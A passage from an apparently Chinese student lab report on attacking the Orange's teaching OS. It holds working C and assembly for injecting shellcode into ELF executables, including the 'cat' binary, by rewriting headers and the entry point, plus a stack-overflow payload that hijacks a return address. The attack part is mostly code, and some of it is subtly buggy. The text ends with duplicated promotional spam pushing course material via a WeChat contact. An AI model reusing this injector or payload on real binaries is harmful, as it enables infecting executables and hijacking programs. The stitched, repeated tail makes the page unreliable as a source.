xor eax, eax
int 0x90
popad
mov ebx, 0x******** ; 随便写的入口地址(这是我学号后八位),在inject时会把原本的入口地址覆盖掉
jmp ebx
get_msg_addr:
call masmain
msg:
db “Surpise! DP has injected it!”, 0xA, 0x0 ;换行符 空字符
然后依次使用如下指令得到机器码:
nasm -f elf32 inject.asm -o inject.o
ld -s inject.o -o inject
objdump -d inject
然后在test2.c中将显示的所有机器码写成一个inject_code数组:
unsigned char inject_code[] = {
0x60, 0xeb, 0x0d, 0x5a, 0x31, 0xc0, 0xcd, 0x90, 0x61, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xff, 0xe3, 0xe8, 0xee, 0xff, 0xff,
0xff, 0x53, 0x75, 0x72, 0x70, 0x69, 0x73, 0x65, 0x21, 0x20,
0x44, 0x50, 0x20, 0x68, 0x61, 0x73, 0x20, 0x69, 0x6e, 0x6a,
0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x69, 0x74, 0x21, 0x0a,
0x00
};
unsigned int inject_size = sizeof(inject_code);
# define ADDR 10 // 在inject_code代码中的偏移为10的地方保存原来的入口地址,此处预先填0
其中,偏移为ADDR(10)的位置为0x00, 0x00, 0x00, 0x00,这就是图6的0x********的位置,在注入过程中会将原入口地址填入到该偏移处。
接下来继续编写注入代码。具体思路就是首先得到文件名并读入文件之后,根据“.elf”判断它是否为elf文件,如果是的话,就首先保存原来的入口地址,然后判断代码节的前面是否有inject_size大小的全0区域,如果有的话就填入shellcode并修改代码节头和程序节头的大小和偏移,否则就报错:
// 判断是否为elf文件
int is_elf(Elf32_Ehdr elf_ehdr) {
// ELF文件头部的 e_ident 为 “0x7fELF”
if (elf_ehdr.e_ident[0] == 0x7f || elf_ehdr.e_ident[1] == 0x45 ||
elf_ehdr.e_ident[2] == 0x4c || elf_ehdr.e_ident[3] == 0x46) {
return 1;
}
return 0;
}
// unsigned int类型转换为直接在汇编指令中可用的数据的函数cal_addr
// e.g. 41424344 -> [44, 43, 42, 41]
void cal_addr(Elf32_Addr entry, int addr[]) {
int temp = entry;
int i;
for (i = 0; i < 4; i++) {
addr[i] = temp % 256; // 256 == 8byte
temp /= 256;
}
}
# define BUF_SIZE 100
// 注入
int inject(char* elf_file) {
Elf32_Ehdr elf_ehdr; // elf head
Elf32_Phdr elf_phdr; // elf program head
Elf32_Shdr elf_shdr; // elf section head
int fd = open(elf_file, O_RDWR);
read(fd, &elf_ehdr, sizeof(Elf32_Ehdr));
if(is_elf(elf_ehdr)) // 判断是否为elf文件
printf(“%s is a ELF , start to inject…\n”, elf_file);
else {
printf(“%s is not a ELF!\n”, elf_file);
return 0;
}
// 保存原来的入口地址以便后续返回
Elf32_Addr old_entry = elf_ehdr.e_entry;
int old_entry_addr[4];
cal_addr(old_entry, old_entry_addr);
printf(“old_entry: 0x%x\n”, old_entry);
// 寻找注入点
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);
read(fd, &elf_shdr, sizeof(elf_shdr)); // 代码节的节头
printf(“elf_shdr.sh_offset == %d”, elf_shdr.sh_offset);
int off = elf_shdr.sh_offset - inject_size;
lseek(fd, off, SEEK_SET);
char buf[BUF_SIZE];
int flag = 0; // 是否找到注入点
if(read(fd, &buf, BUF_SIZE)) {
int i = 0;
while(buf[i] == 0)
i++;
if(i >= inject_size)
flag = 1;
}
if(flag) {
printf(“Inject code offset: 0x%x\n”, off);
// 填入原来的入口地址
inject_code[ADDR] = old_entry_addr[0];
inject_code[ADDR + 1] = old_entry_addr[1];
inject_code[ADDR + 2] = old_entry_addr[2];
inject_code[ADDR + 3] = old_entry_addr[3];
// 注入恶意代码
lseek(fd, off, SEEK_SET);
write(fd, &inject_code, inject_size);
// 修改代码节的节头
elf_shdr.sh_offset -= inject_size;
elf_shdr.sh_size += inject_size;
elf_shdr.sh_addralign = 0;
elf_shdr.sh_addr = off;
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);
write(fd, &elf_shdr, sizeof(elf_shdr));
// 修改程序的入口点
elf_ehdr.e_entry = off;
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);
read(fd, &elf_phdr, sizeof(elf_phdr));
elf_phdr.p_filesz += inject_size;
elf_phdr.p_memsz += inject_size;
elf_phdr.p_vaddr = off;
elf_phdr.p_offset = off;
elf_phdr.p_align = 0;
printf(“Modify entry address to 0x%x\n”, elf_ehdr.e_entry);
lseek(fd, 0, SEEK_SET);
write(fd, &elf_ehdr, sizeof(elf_ehdr));
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);
write(fd, &elf_phdr, sizeof(elf_phdr));
close(fd);
printf(“Finish!\n”);
return 1;
}
else {
printf(“No enough space for inject!\n”);
return 0;
}
}
// 主函数
int main(int argc, char** argv) {
if (argc != 2) {
printf(“Please input inject <elf_filepath>!\n”);
exit(0);
}
if(inject(argv[1])) {
printf(“Inject success!\n”);
}
else
printf(“Inject fail!\n”);
return 0;
}
编译运行,得到下图结果:
其实这存在一些问题,因为我单独写这个的时候没有报错,但是当我与别的结合在一起后,我发现根本就注入不了了,也不知道为啥。还会报下面的错:
所以我又用另一个比较硬核的方法去研究。 (虽然也没成功)
2.3 可执行文件的破坏(法二)
虽然,最后还是没有成功解决上面那不能放一起的问题(发现test2不能与test1还有test3共存,就很怪),但确实也是另一种思路。
与法一有一个很大的不同之处,那就是我没有调用elf库。
还是惯例的写一个判断是否为elf文件的函数,具体分析见法一:
int is_ELF(char *filename){
printf(“open file!@!\n”);
int fd = open(filename, O_RDWR);
printf(“fd == %d\n”, fd);
if(fd == -1){
printf(“no such file: %s\n”, filename);
return 0;
}
char head[4];
read(fd, head, 0x4);
close(fd);
return memcmp(head, “\x7f\x45\x4c\x46”, 4) == 0;
}
这个方法比较硬核,那就是计算出编译后cat指令的地址,并计算出偏移地址来注入攻击。
然后是inject函数并调用,思路详见代码注释,这里就不赘述了。
void inject(filename){
char shellcode[0x100];
int i;
for(i = 0; i < sizeof(shellcode); i++) shellcode[i] = 0x90; //nop
int fd = open(filename, O_RDWR);
if(fd < 0) return printf(“open error!\n”);
char buffer[0x3000];
read(fd, buffer, 0x3000);
//保存程序原先的入口地址
int start;
memcpy(&start, buffer+24, 4);
printf(“start_addr at : %d\n”, start);
//寻找代码段
int s_off;
memcpy(&s_off, buffer+32, 4);
//每个段描述符的长度是40个字节
//text一般是第二个段
printf(“seg_off in file: %d\n”, s_off);
int seg_text = buffer + s_off + 40;
int sh_addr, seg_offset, seg_size;
memcpy(&sh_addr, seg_text+12, 4); //段映射的虚拟地址
memcpy(&seg_offset, seg_text+16, 4);//段在文件中的偏移
memcpy(&seg_size, seg_text+20, 4);//段的长度
printf(“seg_offset == %d\nseg_size == %d\n”, seg_offset, seg_size);
int code_start = start - sh_addr + seg_offset;//代码在文件中的起始地址
printf(“code_start == %d\n”, code_start);
for(i = 0; i < sizeof(shellcode); i++){
if(*(buffer + seg_offset - i -1) != 0) break;
}
if(i != sizeof(shellcode)) return printf(“cannot inject!\n”);
printf(“inject is ok!\n”);
memcpy(buffer+seg_offset-sizeof(shellcode), shellcode, sizeof(shellcode));
//printf(“shllcode: %s\n”, shellcode);
//write(1, buffer+seg_offset-sizeof(shellcode), 0x100);
printf(“inject offset == %d\n”, seg_offset-sizeof(shellcode));
//new_seg_start 就是新代码段在文件中的偏移,也是新的程序入口点
int new_seg_start = 0x0f00;//seg_offset - sizeof(shellcode);
//改写text段表
seg_offset -= sizeof(shellcode);
seg_size += sizeof(shellcode);
sh_addr = seg_offset - sizeof(shellcode);
memcpy(seg_text+12, &sh_addr, 4);
memcpy(seg_text+16, &seg_offset, 4);
memcpy(seg_text+20, &seg_size, 4);
//修改程序入口地址
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+20));
printf(“@@@@@@@@@@@ %d\n”, *(int *)(buffer+24));
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+28));
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+32));
memcpy(buffer+24, &new_seg_start, 4);
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+24));
printf(“@@@@@@@@@@@ %d\n”, *(int *)(buffer+24));
printf(“new_seg_start == %d\n”, new_seg_start);
close(fd);
fd = open(filename, O_RDWR);
int len = write(fd, buffer, sizeof(buffer));
printf(“inject length == %d\n”, len);
close(fd);
char test[0x1000];
int fd2 = open(“cat”, O_RDWR);
read(fd2, test, 0x1000);
printf(“%d\n”, *(int *)(test+24));
printf(“%s\n”, test+0xf00);
close(fd2);
}
int main(){
inject(“cat”);
}
编译执行后得到下图
原本cat指令执行正常,test2攻击后,cat指令输出自己的错误信息(原来就有的,不应该输出,但攻击后输出了),故实验成功。
但可惜的是,依旧没有解决test2与test1、test3不兼容的问题。
2.3 缓冲区溢出漏洞——栈溢出漏洞
漏洞定义:
缓冲区溢出漏洞是一种常见的安全漏洞,发生在程序向一个缓冲区写入更多数据时,超出了为该缓冲区分配的内存大小。这种溢出可能会覆盖相邻内存区域的内容,导致数据损坏、系统崩溃或安全漏洞。缓冲区溢出有栈溢出、堆溢出、BBS 溢出等多种类型,而我这次仅研究了栈溢出一种。
栈溢出漏洞发生在程序在处理数据时,写入的数据量超过了分配给栈上变量的内存空间。这种漏洞通常出现在使用不安全的字符串操作函数(如strcpy, strcat,sprintf等)时,因为这些函数不会自动检查目标缓冲区的大小,从而可能导致缓冲区溢出。
漏洞产生的原因:
栈是一个后进先出的数据结构,用于存储局部变量、函数参数、返回地址等。在函数调用时,会为其局部变量和一些控制信息分配一段连续的内存区域,这段区域被称为栈帧。栈帧的大小在编译时通常是已知的,但如果程序运行时写入了超过这个大小的数据,就会造成栈溢出。
攻击原理:
• 溢出发生:当过多的数据被写入栈上的缓冲区(如数组)时,超出的数据会覆盖相邻的栈帧内容。这种情况常见于使用不安全的字符串函数(如strcpy、gets等)。
• 覆盖返回地址:攻击者精心构造输入数据,使得栈上的返回地址被覆盖。这允许攻击者控制程序接下来执行的位置。
• 执行攻击者的代码:攻击者通常在输入数据中嵌入一段恶意代码(称为shellcode),并将返回地址修改为这段代码的起始地址。当函数尝试返回时,程序的执行流被重定向到这段恶意代码。
• 绕过安全措施:现代操作系统和编译器实施了多种安全措施(如堆栈保护、地址空间布局随机化ASLR等)来防止栈溢出攻击。然而,有经验的攻击者可能使用更复杂的技术(如栈喷射、ROP链等)来绕过这些保护机制。
具体分析:
我选择在代码文件中的一个函数中调用一个不安全函数,然后溢出这个函数。
溢出自定义不安全函数的基本假设是:我们可以自定义一个大小有限的缓冲区,然后采取方案将其溢出。可以采用直接向函数传一个占空间超过预定义buf的巨大参数,也可以选择用strcpy()、gets()等不做长度检查的不安全函数来达到攻击的效果。
检查Oranges操作系统中strcpy函数的实现:
strcpy:
push ebp
mov ebp, esp
mov esi, [ebp + 12] ; Source
mov edi, [ebp + 8] ; Destination
.1:
mov al, [esi] ; ┓
inc esi ; ┃
; ┣ 逐字节移动
mov byte [edi], al ; ┃
inc edi ; ┛
cmp al, 0 ; 是否遇到 ‘\0’
jnz .1 ; 没遇到就继续循环,遇到就结束
mov eax, [ebp + 8] ; 返回值
pop ebp
ret ; 函数结束,返回
可以发现,这个函数的实现存在安全隐患,因为它不会检查目标缓冲区的大小,直接将源字符串拷贝到目标字符串中,直到遇到\0字符。如果源字符串的长度超过了目标缓冲区的大小,这将导致栈溢出。
所以,这里我们采取的是第二种方式,通过攻击不安全函数来溢出返回地址。我们编写test3.c的代码如下:
#include “stdio.h”
#include “string.h”
unsigned char payload[] = {
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x21,0x10,0x00,0x00
};
void bufferoverflow(char *str)
{
unsigned char buf[256];
strcpy(buf, payload);
}
void shellcode()
{
printf(“Hello, DP. Bufferoverflow!\n”);
}
int main(int argc, char *argv[])
{
bufferoverflow(payload);
printf(“111”);
}
test3.c只有三个函数,调用关系也十分简单,仅仅是main函数调用bufferoverflow函数.值得注意的是,shellcode函数实际上并没有被调用。payload的最后四个字节为0x21,0x10,0x00,0x00,这是shellcode函数的入口地址。得到该入口地址的方法为使用make install 编译出可执行文件之后,使用objdump -d buffer_attack > dump.txt进行反汇编,下面是得到的反汇编文件(仅截取我用到的部分):
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
课程,基本涵盖了95%以上网络安全知识点,真正体系化!**
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-KBxv2i7V-1712807811938)]
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-F3jEwDet-1712807811939)]